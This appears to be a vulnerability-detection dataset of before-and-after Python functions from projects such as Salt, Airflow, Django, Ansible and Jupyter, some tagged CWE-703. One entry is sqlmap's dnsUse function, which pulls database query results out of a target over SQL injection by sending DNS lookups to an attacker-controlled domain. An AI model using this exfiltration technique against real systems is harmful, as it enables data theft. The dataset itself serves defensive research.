    Verify that composer has installed the latest packages give a
    ``composer.json`` and ``composer.lock`` file in a directory.

    dir
        Directory location of the composer.json file.

    composer
        Location of the composer.phar file. If not set composer will
        just execute ""composer"" as if it is installed globally.
        (i.e. /path/to/composer.phar)

    php
        Location of the php executable to use with composer.
        (i.e. /usr/bin/php)

    user
        Which system user to run composer as.

        .. versionadded:: 2014.1.4

    prefer_source
        --prefer-source option of composer.

    prefer_dist
        --prefer-dist option of composer.

    no_scripts
        --no-scripts option of composer.

    no_plugins
        --no-plugins option of composer.

    optimize
        --optimize-autoloader option of composer. Recommended for production.

    no_dev
        --no-dev option for composer. Recommended for production.

    quiet
        --quiet option for composer. Whether or not to return output from composer.

    composer_home
        $COMPOSER_HOME environment variable
    '''
    ret = {'name': name, 'result': None, 'comment': '', 'changes': {}}

    # Check if composer.lock exists, if so we already ran `composer install`
    # and we don't need to do it again
    if __salt__['composer.did_composer_install'](name):
        ret['result'] = True
        ret['comment'] = 'Composer already installed this directory'
        return ret

    # The state of the system does need to be changed. Check if we're running
    # in ``test=true`` mode.
    if __opts__['test'] == True:
        ret['comment'] = 'The state of ""{0}"" will be changed.'.format(name)
        ret['changes'] = {
            'old': 'composer install has not yet been run in {0}'.format(name),
            'new': 'composer install will be run in {0}'.format(name)
        }
        ret['result'] = None
        return ret

    try:
        call = __salt__['composer.install'](
            name,
            composer=composer,
            php=php,
            runas=user,
            prefer_source=prefer_source,
            prefer_dist=prefer_dist,
            no_scripts=no_scripts,
            no_plugins=no_plugins,
            optimize=optimize,
            no_dev=no_dev,
            quiet=quiet,
            composer_home=composer_home
        )
    except (SaltException) as err:
        ret['result'] = False
        ret['comment'] = 'Error executing composer in \'{0!r}\': {1!r}'.format(name, err)
        return ret

    # If composer retcode != 0 then an exception was thrown and we dealt with it.
    # Any other case is success, regardless of what composer decides to output.

    ret['result'] = True

    if quiet is True:
        ret['comment'] = 'Composer install completed successfully, output silenced by quiet flag'
    else:
        ret['comment'] = 'Composer install completed successfully'
        ret['changes'] = {
            'stderr': call['stderr'],
            'stdout': call['stdout']
        }

    return ret"
,UNKNOWN,UNKNOWN,tests/decorators/test_python.py,1,"def test_manual_multiple_outputs_false_with_typings(self):
        @task_decorator(multiple_outputs=False)
        def identity2(x: int, y: int) -> Tuple[int, int]:
            return x, y

        with self.dag:
            res = identity2(8, 4)

        dr = self.create_dag_run()
        res.operator.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)

        ti = dr.get_task_instances()[0]

        assert res.operator.multiple_outputs is False
        assert ti.xcom_pull() == (8, 4)
        assert ti.xcom_pull(key=""return_value_0"") is None
        assert ti.xcom_pull(key=""return_value_1"") is None",CWE-703,apache/airflow,6e7340f9c71534df5be70bd7812d4de3015e78b7,"def test_manual_multiple_outputs_false_with_typings(self):
        @task_decorator(multiple_outputs=False)
        def identity2(x: int, y: int) -> Tuple[int, int]:
            return x, y

        with self.dag:
            res = identity2(8, 4)

        dr = self.create_dag_run()
        res.operator.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)

        ti = dr.get_task_instances()[0]

        assert res.operator.multiple_outputs is False
        assert ti.xcom_pull() == [8, 4]
        assert ti.xcom_pull(key=""return_value_0"") is None
        assert ti.xcom_pull(key=""return_value_1"") is None"
,UNKNOWN,UNKNOWN,tests/www/views/test_views_variable.py,1,"def test_import_variables_success(session, admin_client):
    assert session.query(Variable).count() == 0

    content = '{""str_key"": ""str_value"", ""int_key"": 60, ""list_key"": [1, 2], ""dict_key"": {""k_a"": 2, ""k_b"": 3}}'
    bytes_content = io.BytesIO(bytes(content, encoding=""utf-8""))

    resp = admin_client.post(
        ""/variable/varimport"", data={""file"": (bytes_content, ""test.json"")}, follow_redirects=True
    )
    check_content_in_response(""4 variable(s) successfully updated."", resp)
    _check_last_log(session, dag_id=None, event=""variables.varimport"", execution_date=None)",CWE-703,apache/airflow,0e1c106d7cd0703125528a691088e42e17c99929,"def test_import_variables_success(session, admin_client):
    assert session.query(Variable).count() == 0

    content = '{""str_key"": ""str_value"", ""int_key"": 60, ""list_key"": [1, 2], ""dict_key"": {""k_a"": 2, ""k_b"": 3}}'
    bytes_content = io.BytesIO(bytes(content, encoding=""utf-8""))

    resp = admin_client.post(
        ""/variable/varimport"", data={""file"": (bytes_content, ""test.json"")}, follow_redirects=True
    )
    check_content_in_response(""4 variable(s) successfully updated."", resp)
    _check_last_log(session, dag_id=None, event=""variables.varimport"", execution_date=None)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/gcs_artifact_repo.py,0,"def list_artifacts(self, path=None):
        (bucket, artifact_path) = self.parse_gcs_uri(self.artifact_uri)
        dest_path = artifact_path
        if path:
            dest_path = build_path(dest_path, path)
        prefix = dest_path + ""/""

        bkt = self.gcs.Client().get_bucket(bucket)

        infos = self._list_folders(bkt, prefix, artifact_path)

        results = bkt.list_blobs(prefix=prefix, delimiter=""/"")
        for result in results:
            blob_path = result.name[len(artifact_path)+1:]
            infos.append(FileInfo(blob_path, False, result.size))

        return sorted(infos, key=lambda f: f.path)",,mlflow/mlflow,3b851618c3895d3ebd44750c7cc1dd95ec4b0dc7,"def list_artifacts(self, path=None):
        (bucket, artifact_path) = self.parse_gcs_uri(self.artifact_uri)
        dest_path = artifact_path
        if path:
            dest_path = build_path(dest_path, path)
        prefix = dest_path + ""/""

        bkt = self.gcs.Client().get_bucket(bucket)

        infos = self._list_folders(bkt, prefix)

        results = bkt.list_blobs(prefix=prefix, delimiter=""/"")
        for result in results:
            blob_path = result.name[len(artifact_path)+1:]
            infos.append(FileInfo(blob_path, False, result.size))

        return sorted(infos, key=lambda f: f.path)"
,UNKNOWN,UNKNOWN,django/db/models/query.py,1,"def bulk_create(self, objs, batch_size=None):
        """"""
        Inserts each of the instances into the database. This does *not* call
        save() on each of the instances, does not send any pre/post save
        signals, and does not set the primary key attribute if it is an
        autoincrement field (except if features.can_return_ids_from_bulk_insert=True).
        Multi-table models are not supported.
        """"""
        # When you bulk insert you don't get the primary keys back (if it's an
        # autoincrement, except if can_return_ids_from_bulk_insert=True), so
        # you can't insert into the child tables which references this. There
        # are two workarounds:
        # 1) This could be implemented if you didn't have an autoincrement pk
        # 2) You could do it by doing O(n) normal inserts into the parent
        #    tables to get the primary keys back and then doing a single bulk
        #    insert into the childmost table.
        # We currently set the primary keys on the objects when using
        # PostgreSQL via the RETURNING ID clause. It should be possible for
        # Oracle as well, but the semantics for  extracting the primary keys is
        # trickier so it's not done yet.
        assert batch_size is None or batch_size > 0
        # Check that the parents share the same concrete model with the our
        # model to detect the inheritance pattern ConcreteGrandParent ->
        # MultiTableParent -> ProxyChild. Simply checking self.model._meta.proxy
        # would not identify that case as involving multiple tables.
        for parent in self.model._meta.get_parent_list():
            if parent._meta.concrete_model is not self.model._meta.concrete_model:
                raise ValueError(""Can't bulk create a multi-table inherited model"")
        if not objs:
            return objs
        self._for_write = True
        connection = connections[self.db]
        fields = self.model._meta.concrete_fields
        objs = list(objs)
        self._populate_pk_values(objs)
        with transaction.atomic(using=self.db, savepoint=False):
            if (connection.features.can_combine_inserts_with_and_without_auto_increment_pk and
                    self.model._meta.has_auto_field):
                self._batched_insert(objs, fields, batch_size)
            else:
                objs_with_pk, objs_without_pk = partition(lambda o: o.pk is None, objs)
                if objs_with_pk:
                    self._batched_insert(objs_with_pk, fields, batch_size)
                if objs_without_pk:
                    fields = [f for f in fields if not isinstance(f, AutoField)]
                    ids = self._batched_insert(objs_without_pk, fields, batch_size)
                    if connection.features.can_return_ids_from_bulk_insert:
                        assert len(ids) == len(objs_without_pk)
                    for i in range(len(ids)):
                        objs_without_pk[i].pk = ids[i]

        return objs",CWE-703,django/django,2cd2d188516475ddf256e6267cd82c495fb5c430,"def bulk_create(self, objs, batch_size=None):
        """"""
        Inserts each of the instances into the database. This does *not* call
        save() on each of the instances, does not send any pre/post save
        signals, and does not set the primary key attribute if it is an
        autoincrement field (except if features.can_return_ids_from_bulk_insert=True).
        Multi-table models are not supported.
        """"""
        # When you bulk insert you don't get the primary keys back (if it's an
        # autoincrement, except if can_return_ids_from_bulk_insert=True), so
        # you can't insert into the child tables which references this. There
        # are two workarounds:
        # 1) This could be implemented if you didn't have an autoincrement pk
        # 2) You could do it by doing O(n) normal inserts into the parent
        #    tables to get the primary keys back and then doing a single bulk
        #    insert into the childmost table.
        # We currently set the primary keys on the objects when using
        # PostgreSQL via the RETURNING ID clause. It should be possible for
        # Oracle as well, but the semantics for  extracting the primary keys is
        # trickier so it's not done yet.
        assert batch_size is None or batch_size > 0
        # Check that the parents share the same concrete model with the our
        # model to detect the inheritance pattern ConcreteGrandParent ->
        # MultiTableParent -> ProxyChild. Simply checking self.model._meta.proxy
        # would not identify that case as involving multiple tables.
        for parent in self.model._meta.get_parent_list():
            if parent._meta.concrete_model is not self.model._meta.concrete_model:
                raise ValueError(""Can't bulk create a multi-table inherited model"")
        if not objs:
            return objs
        self._for_write = True
        connection = connections[self.db]
        fields = self.model._meta.concrete_fields
        objs = list(objs)
        self._populate_pk_values(objs)
        with transaction.atomic(using=self.db, savepoint=False):
            if (connection.features.can_combine_inserts_with_and_without_auto_increment_pk
                    and self.model._meta.has_auto_field):
                self._batched_insert(objs, fields, batch_size)
            else:
                objs_with_pk, objs_without_pk = partition(lambda o: o.pk is None, objs)
                if objs_with_pk:
                    self._batched_insert(objs_with_pk, fields, batch_size)
                if objs_without_pk:
                    fields = [f for f in fields if not isinstance(f, AutoField)]
                    ids = self._batched_insert(objs_without_pk, fields, batch_size)
                    if connection.features.can_return_ids_from_bulk_insert:
                        assert len(ids) == len(objs_without_pk)
                    for i in range(len(ids)):
                        objs_without_pk[i].pk = ids[i]

        return objs"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/dns/use.py,0,"def dnsUse(payload, expression):
    """"""
    Retrieve the output of a SQL query taking advantage of the DNS
    resolution mechanism by making request back to attacker's machine.
    """"""

    start = time.time()

    retVal = None
    count = 0
    offset = 1

    if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
        output = hashDBRetrieve(expression, checkConf=True)

        if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
            output = None

        if output is None:
            kb.dnsMode = True

            while True:
                count += 1
                prefix, suffix = (""%s"" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2))
                chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
                _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
                extendedField = re.search(r""[^ ,]*%s[^ ,]*"" % re.escape(fieldToCastStr), expression).group(0)
                if extendedField != fieldToCastStr:  # e.g. MIN(surname)
                    fieldToCastStr = extendedField
                nulledCastedField = agent.nullAndCastField(fieldToCastStr)
                nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
                nulledCastedField = agent.hexConvertField(nulledCastedField)
                expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)

                expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), ""dns_request"", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName)
                expressionUnescaped = unescaper.escape(expressionRequest)

                if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
                    query = agent.prefixQuery(""; %s"" % expressionUnescaped)
                    query = ""%s%s"" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
                    forgedPayload = agent.payload(newValue=query)
                else:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))

                Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)

                _ = conf.dnsServer.pop(prefix, suffix)

                if _:
                    _ = extractRegexResult(""%s\.(?P<result>.+)\.%s"" % (prefix, suffix), _, re.I)
                    _ = decodeHexValue(_)
                    output = (output or """") + _
                    offset += len(_)

                    if len(_) < chunk_length:
                        break
                else:
                    break

            output = decodeHexValue(output) if conf.hexConvert else output

            kb.dnsMode = False

        if output is not None:
            retVal = output

            if kb.dnsTest is not None:
                dataToStdout(""[%s] [INFO] %s: %s\n"" % (time.strftime(""%X""), ""retrieved"" if count > 0 else ""resumed"", safecharencode(output)))

                if count > 0:
                    hashDBWrite(expression, output)

        if not kb.bruteMode:
            debugMsg = ""performed %d queries in %.2f seconds"" % (count, calculateDeltaSeconds(start))
            logger.debug(debugMsg)

    elif conf.dnsName:
        warnMsg = ""DNS data exfiltration method through SQL injection ""
        warnMsg += ""is currently not available for DBMS %s"" % Backend.getIdentifiedDbms()
        singleTimeWarnMessage(warnMsg)

    return safecharencode(retVal) if kb.safeCharEncode else retVal",,sqlmapproject/sqlmap,13366aeb48b63f9615dac7cddc0367a546f1fcbb,"def dnsUse(payload, expression):
    """"""
    Retrieve the output of a SQL query taking advantage of the DNS
    resolution mechanism by making request back to attacker's machine.
    """"""

    start = time.time()

    retVal = None
    count = 0
    offset = 1

    if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
        output = hashDBRetrieve(expression, checkConf=True)

        if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
            output = None

        if output is None:
            kb.dnsMode = True

            while True:
                count += 1
                prefix, suffix = (""%s"" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2))
                chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
                _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
                nulledCastedField = agent.nullAndCastField(fieldToCastStr)
                nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
                nulledCastedField = agent.hexConvertField(nulledCastedField)
                expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)

                expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), ""dns_request"", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName)
                expressionUnescaped = unescaper.escape(expressionRequest)

                if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
                    query = agent.prefixQuery(""; %s"" % expressionUnescaped)
                    query = ""%s%s"" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
                    forgedPayload = agent.payload(newValue=query)
                else:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))

                Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)

                _ = conf.dnsServer.pop(prefix, suffix)

                if _:
                    _ = extractRegexResult(""%s\.(?P<result>.+)\.%s"" % (prefix, suffix), _, re.I)
                    _ = decodeHexValue(_)
                    output = (output or """") + _
                    offset += len(_)

                    if len(_) < chunk_length:
                        break
                else:
                    break

            output = decodeHexValue(output) if conf.hexConvert else output

            kb.dnsMode = False

        if output is not None:
            retVal = output

            if kb.dnsTest is not None:
                dataToStdout(""[%s] [INFO] %s: %s\n"" % (time.strftime(""%X""), ""retrieved"" if count > 0 else ""resumed"", safecharencode(output)))

                if count > 0:
                    hashDBWrite(expression, output)

        if not kb.bruteMode:
            debugMsg = ""performed %d queries in %.2f seconds"" % (count, calculateDeltaSeconds(start))
            logger.debug(debugMsg)

    elif conf.dnsName:
        warnMsg = ""DNS data exfiltration method through SQL injection ""
        warnMsg += ""is currently not available for DBMS %s"" % Backend.getIdentifiedDbms()
        singleTimeWarnMessage(warnMsg)

    return safecharencode(retVal) if kb.safeCharEncode else retVal"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/tests/crawl/test_import_results.py,0,"def test_burp_b64(self):
        cfg = self._run_configs['burp64']
        self._scan(cfg['target'], cfg['plugins'])


        fuzzable_requests = self.kb.get_all_known_fuzzable_requests()

        #
        #   Assert that headers are loaded from the file
        #
        mozilla = 0
        for fuzzable_request in fuzzable_requests:
            user_agent, _ = fuzzable_request.get_headers().iget('user-agent')

            if user_agent is None:
                continue

            self.assertIn('mozilla', user_agent.lower())
            mozilla += 1

        self.assertGreater(mozilla, 0)

        #
        #   Assert that POST requests and their data are loaded from file
        #
        post_frs = [fr for fr in fuzzable_requests if fr.get_method() == 'POST']

        expected_post_urls = {'http://127.0.0.1:8000/audit/xss/simple_xss_form.py',
                              'http://127.0.0.1:8000/core/file_upload/upload.py'}
        post_urls = set([fr.get_uri().url_string for fr in post_frs])

        self.assertEqual(expected_post_urls, post_urls)

        post_fr = post_frs[1]
        expected_post_url = 'http://127.0.0.1:8000/core/file_upload/upload.py'

        file_contents = 'hello\nworld\n'

        self.assertEqual(post_fr.get_url().url_string, expected_post_url)
        self.assertEqual(post_fr.get_raw_data()['_file'][0], file_contents)

        #
        #   Assert that we found the URLs
        #
        urls = [fr.get_uri().url_string for fr in fuzzable_requests]

        expected_urls = {u'http://127.0.0.1:8000/',
                         u'http://127.0.0.1:8000/core/',
                         u'http://127.0.0.1:8000/favicon.ico',
                         u'http://127.0.0.1:8000/audit/xss/simple_xss_form.py',
                         u'http://127.0.0.1:8000/core/file_upload/upload.py',
                         u'http://127.0.0.1:8000/audit/',
                         u'http://127.0.0.1:8000/static/moth/css/font-awesome/fonts/fontawesome-webfont.woff?v=4.0.3'}

        self.assertEqual(set(urls), expected_urls)",,andresriancho/w3af,fdb70c966f384de4f44f8fe2b710a01500469034,"def test_burp_b64(self):
        cfg = self._run_configs['burp64']
        self._scan(cfg['target'], cfg['plugins'])

        fr_list = self.kb.get_all_known_fuzzable_requests()

        post_fr = [fr for fr in fr_list if isinstance(fr, FuzzableRequest)]
        self.assertEqual(len(post_fr), 1)
        post_fr = post_fr[0]
        post_uri = post_fr.get_url().url_string
        self.assertEqual(post_uri, 'http://moth/w3af/audit/xss/data_receptor.php')
        self.assertEqual(post_fr.get_data(), 'user=spam&firstname=eggs')

        urls = [fr.get_uri().url_string for fr in fr_list if not
                isinstance(fr, FuzzableRequest)]

        EXPECTED_URLS = {'http://moth/w3af/', 'http://moth/w3af/?id=1'}

        self.assertEqual(set(urls),
                         EXPECTED_URLS)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/find.py,0,"def main():
    module = AnsibleModule(
        argument_spec=dict(
            paths=dict(type='list', required=True, aliases=['name', 'path'], elements='str'),
            patterns=dict(type='list', default=[], aliases=['pattern'], elements='str'),
            excludes=dict(type='list', aliases=['exclude'], elements='str'),
            contains=dict(type='str'),
            read_whole_file=dict(type='bool', default=False),
            file_type=dict(type='str', default=""file"", choices=['any', 'directory', 'file', 'link']),
            age=dict(type='str'),
            age_stamp=dict(type='str', default=""mtime"", choices=['atime', 'ctime', 'mtime']),
            size=dict(type='str'),
            recurse=dict(type='bool', default=False),
            hidden=dict(type='bool', default=False),
            follow=dict(type='bool', default=False),
            get_checksum=dict(type='bool', default=False),
            use_regex=dict(type='bool', default=False),
            depth=dict(type='int'),
        ),
        supports_check_mode=True,
    )

    params = module.params

    # Set the default match pattern to either a match-all glob or
    # regex depending on use_regex being set.  This makes sure if you
    # set excludes: without a pattern pfilter gets something it can
    # handle.
    if not params['patterns']:
        if params['use_regex']:
            params['patterns'] = ['.*']
        else:
            params['patterns'] = ['*']

    filelist = []

    if params['age'] is None:
        age = None
    else:
        # convert age to seconds:
        m = re.match(r""^(-?\d+)(s|m|h|d|w)?$"", params['age'].lower())
        seconds_per_unit = {""s"": 1, ""m"": 60, ""h"": 3600, ""d"": 86400, ""w"": 604800}
        if m:
            age = int(m.group(1)) * seconds_per_unit.get(m.group(2), 1)
        else:
            module.fail_json(age=params['age'], msg=""failed to process age"")

    if params['size'] is None:
        size = None
    else:
        # convert size to bytes:
        m = re.match(r""^(-?\d+)(b|k|m|g|t)?$"", params['size'].lower())
        bytes_per_unit = {""b"": 1, ""k"": 1024, ""m"": 1024**2, ""g"": 1024**3, ""t"": 1024**4}
        if m:
            size = int(m.group(1)) * bytes_per_unit.get(m.group(2), 1)
        else:
            module.fail_json(size=params['size'], msg=""failed to process size"")

    now = time.time()
    msg = ''
    looked = 0
    for npath in params['paths']:
        npath = os.path.expanduser(os.path.expandvars(npath))
        try:
            if not os.path.isdir(npath):
                raise Exception(""'%s' is not a directory"" % to_native(npath))

            for root, dirs, files in os.walk(npath, followlinks=params['follow']):
                looked = looked + len(files) + len(dirs)
                for fsobj in (files + dirs):
                    fsname = os.path.normpath(os.path.join(root, fsobj))
                    if params['depth']:
                        wpath = npath.rstrip(os.path.sep) + os.path.sep
                        depth = int(fsname.count(os.path.sep)) - int(wpath.count(os.path.sep)) + 1
                        if depth > params['depth']:
                            # Empty the list used by os.walk to avoid traversing deeper unnecessarily
                            del(dirs[:])
                            continue
                    if os.path.basename(fsname).startswith('.') and not params['hidden']:
                        continue

                    try:
                        st = os.lstat(fsname)
                    except (IOError, OSError) as e:
                        msg += ""Skipped entry '%s' due to this access issue: %s\n"" % (fsname, to_text(e))
                        continue

                    r = {'path': fsname}
                    if params['file_type'] == 'any':
                        if pfilter(fsobj, params['patterns'], params['excludes'], params['use_regex']) and agefilter(st, now, age, params['age_stamp']):

                            r.update(statinfo(st))
                            if stat.S_ISREG(st.st_mode) and params['get_checksum']:
                                r['checksum'] = module.sha1(fsname)

                            if stat.S_ISREG(st.st_mode):
                                if sizefilter(st, size):
                                    filelist.append(r)
                            else:
                                filelist.append(r)

                    elif stat.S_ISDIR(st.st_mode) and params['file_type'] == 'directory':
                        if pfilter(fsobj, params['patterns'], params['excludes'], params['use_regex']) and agefilter(st, now, age, params['age_stamp']):

                            r.update(statinfo(st))
                            filelist.append(r)

                    elif stat.S_ISREG(st.st_mode) and params['file_type'] == 'file':
                        if pfilter(fsobj, params['patterns'], params['excludes'], params['use_regex']) and \
                           agefilter(st, now, age, params['age_stamp']) and \
                           sizefilter(st, size) and contentfilter(fsname, params['contains'], params['read_whole_file']):

                            r.update(statinfo(st))
                            if params['get_checksum']:
                                r['checksum'] = module.sha1(fsname)
                            filelist.append(r)

                    elif stat.S_ISLNK(st.st_mode) and params['file_type'] == 'link':
                        if pfilter(fsobj, params['patterns'], params['excludes'], params['use_regex']) and agefilter(st, now, age, params['age_stamp']):

                            r.update(statinfo(st))
                            filelist.append(r)

                if not params['recurse']:
                    break
        except Exception as e:
            warn = ""Skipped '%s' path due to this access issue: %s\n"" % (npath, to_text(e))
            module.warn(warn)
            msg += warn

    matched = len(filelist)
    module.exit_json(files=filelist, changed=False, msg=msg, matched=matched, examined=looked)",,ansible/ansible,93fdba70135cc00b0487d43db4e77b1a072075b8,"def main():
    module = AnsibleModule(
        argument_spec=dict(
            paths=dict(type='list', required=True, aliases=['name', 'path'], elements='str'),
            patterns=dict(type='list', default=[], aliases=['pattern'], elements='str'),
            excludes=dict(type='list', aliases=['exclude'], elements='str'),
            contains=dict(type='str'),
            read_whole_file=dict(type='bool', default=False),
            file_type=dict(type='str', default=""file"", choices=['any', 'directory', 'file', 'link']),
            age=dict(type='str'),
            age_stamp=dict(type='str', default=""mtime"", choices=['atime', 'ctime', 'mtime']),
            size=dict(type='str'),
            recurse=dict(type='bool', default=False),
            hidden=dict(type='bool', default=False),
            follow=dict(type='bool', default=False),
            get_checksum=dict(type='bool', default=False),
            use_regex=dict(type='bool', default=False),
            depth=dict(type='int'),
        ),
        supports_check_mode=True,
    )

    params = module.params

    # Set the default match pattern to either a match-all glob or
    # regex depending on use_regex being set.  This makes sure if you
    # set excludes: without a pattern pfilter gets something it can
    # handle.
    if not params['patterns']:
        if params['use_regex']:
            params['patterns'] = ['.*']
        else:
            params['patterns'] = ['*']

    filelist = []

    if params['age'] is None:
        age = None
    else:
        # convert age to seconds:
        m = re.match(r""^(-?\d+)(s|m|h|d|w)?$"", params['age'].lower())
        seconds_per_unit = {""s"": 1, ""m"": 60, ""h"": 3600, ""d"": 86400, ""w"": 604800}
        if m:
            age = int(m.group(1)) * seconds_per_unit.get(m.group(2), 1)
        else:
            module.fail_json(age=params['age'], msg=""failed to process age"")

    if params['size'] is None:
        size = None
    else:
        # convert size to bytes:
        m = re.match(r""^(-?\d+)(b|k|m|g|t)?$"", params['size'].lower())
        bytes_per_unit = {""b"": 1, ""k"": 1024, ""m"": 1024**2, ""g"": 1024**3, ""t"": 1024**4}
        if m:
            size = int(m.group(1)) * bytes_per_unit.get(m.group(2), 1)
        else:
            module.fail_json(size=params['size'], msg=""failed to process size"")

    now = time.time()
    msg = ''
    looked = 0
    for npath in params['paths']:
        npath = os.path.expanduser(os.path.expandvars(npath))
        try:
            if not os.path.isdir(npath):
                raise Exception(""'%s' is not a directory"" % to_native(npath))

            for root, dirs, files in os.walk(npath, followlinks=params['follow']):
                looked = looked + len(files) + len(dirs)
                for fsobj in (files + dirs):
                    fsname = os.path.normpath(os.path.join(root, fsobj))
                    if params['depth']:
                        wpath = npath.rstrip(os.path.sep) + os.path.sep
                        depth = int(fsname.count(os.path.sep)) - int(wpath.count(os.path.sep)) + 1
                        if depth > params['depth']:
                            # Empty the list used by os.walk to avoid traversing deeper unnecessarily
                            del(dirs[:])
                            continue
                    if os.path.basename(fsname).startswith('.') and not params['hidden']:
                        continue

                    try:
                        st = os.lstat(fsname)
                    except (IOError, OSError) as e:
                        msg += ""Skipped entry '%s' due to this access issue: %s\n"" % (fsname, to_text(e))
                        continue

                    r = {'path': fsname}
                    if params['file_type'] == 'any':
                        if pfilter(fsobj, params['patterns'], params['excludes'], params['use_regex']) and agefilter(st, now, age, params['age_stamp']):

                            r.update(statinfo(st))
                            if stat.S_ISREG(st.st_mode) and params['get_checksum']:
                                r['checksum'] = module.sha1(fsname)
                            filelist.append(r)

                    elif stat.S_ISDIR(st.st_mode) and params['file_type'] == 'directory':
                        if pfilter(fsobj, params['patterns'], params['excludes'], params['use_regex']) and agefilter(st, now, age, params['age_stamp']):

                            r.update(statinfo(st))
                            filelist.append(r)

                    elif stat.S_ISREG(st.st_mode) and params['file_type'] == 'file':
                        if pfilter(fsobj, params['patterns'], params['excludes'], params['use_regex']) and \
                           agefilter(st, now, age, params['age_stamp']) and \
                           sizefilter(st, size) and contentfilter(fsname, params['contains'], params['read_whole_file']):

                            r.update(statinfo(st))
                            if params['get_checksum']:
                                r['checksum'] = module.sha1(fsname)
                            filelist.append(r)

                    elif stat.S_ISLNK(st.st_mode) and params['file_type'] == 'link':
                        if pfilter(fsobj, params['patterns'], params['excludes'], params['use_regex']) and agefilter(st, now, age, params['age_stamp']):

                            r.update(statinfo(st))
                            filelist.append(r)

                if not params['recurse']:
                    break
        except Exception as e:
            warn = ""Skipped '%s' path due to this access issue: %s\n"" % (npath, to_text(e))
            module.warn(warn)
            msg += warn

    matched = len(filelist)
    module.exit_json(files=filelist, changed=False, msg=msg, matched=matched, examined=looked)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/returners/postgres.py,0,"def returner(ret):
    """"""
    Return data to a postgres server
    """"""
    try:
        with _get_serv(ret, commit=True) as cur:
            sql = """"""INSERT INTO salt_returns
                    (fun, jid, return, id, success, full_ret)
                    VALUES (%s, %s, %s, %s, %s, %s)""""""
            cur.execute(
                sql,
                (
                    ret[""fun""],
                    ret[""jid""],
                    salt.utils.json.dumps(ret[""return""]),
                    ret[""id""],
                    ret.get(""success"", False),
                    salt.utils.json.dumps(ret),
                ),
            )
    except salt.exceptions.SaltMasterError:
        log.critical(
            ""Could not store return with postgres returner. PostgreSQL server""
            "" unavailable.""
        )",,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def returner(ret):
    """"""
    Return data to a postgres server
    """"""
    try:
        with _get_serv(ret, commit=True) as cur:
            sql = """"""INSERT INTO salt_returns
                    (fun, jid, return, id, success, full_ret)
                    VALUES (%s, %s, %s, %s, %s, %s)""""""
            cur.execute(
                sql,
                (
                    ret[""fun""],
                    ret[""jid""],
                    salt.utils.json.dumps(ret[""return""]),
                    ret[""id""],
                    ret.get(""success"", False),
                    salt.utils.json.dumps(ret),
                ),
            )
    except salt.exceptions.SaltMasterError:
        log.critical(
            ""Could not store return with postgres returner. PostgreSQL server unavailable.""
        )"
,UNKNOWN,UNKNOWN,IPython/html/tests/launchnotebook.py,1,"def assert_http_error(status, msg=None):
    try:
        yield
    except requests.HTTPError as e:
        real_status = e.response.status_code
        assert real_status == status, \
                    ""Expected status %d, got %d"" % (status, real_status)
        if msg:
            assert msg in str(e), e
    else:
        assert False, ""Expected HTTP error status""",CWE-703,jupyter/notebook,97e99d06617b13195eac4c60af0ec37eed0eb3a8,"def assert_http_error(status, msg=None):
    try:
        yield
    except requests.HTTPError as e:
        real_status = e.response.status_code
        assert real_status == status, \
                    ""Expected status %d, got %d"" % (real_status, status)
        if msg:
            assert msg in str(e), e
    else:
        assert False, ""Expected HTTP error status"""
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/db/variant_db.py,0,"def _clean_reference(self, reference):
        """"""
        This method is VERY dependent on the are_variants method from
        core.data.request.variant_identification , make sure to remember that
        when changing stuff here or there.

        What this method does is to ""normalize"" any input reference string so
        that they can be compared very simply using string match.

        """"""
        res = reference.get_domain_path() + reference.get_file_name()

        if reference.has_query_string():

            res += '?'
            qs = reference.querystring.copy()

            for key, value, setter in qs.iter_setters():
                if value.isdigit():
                    setter('number')
                else:
                    setter('string')

            res += str(qs)

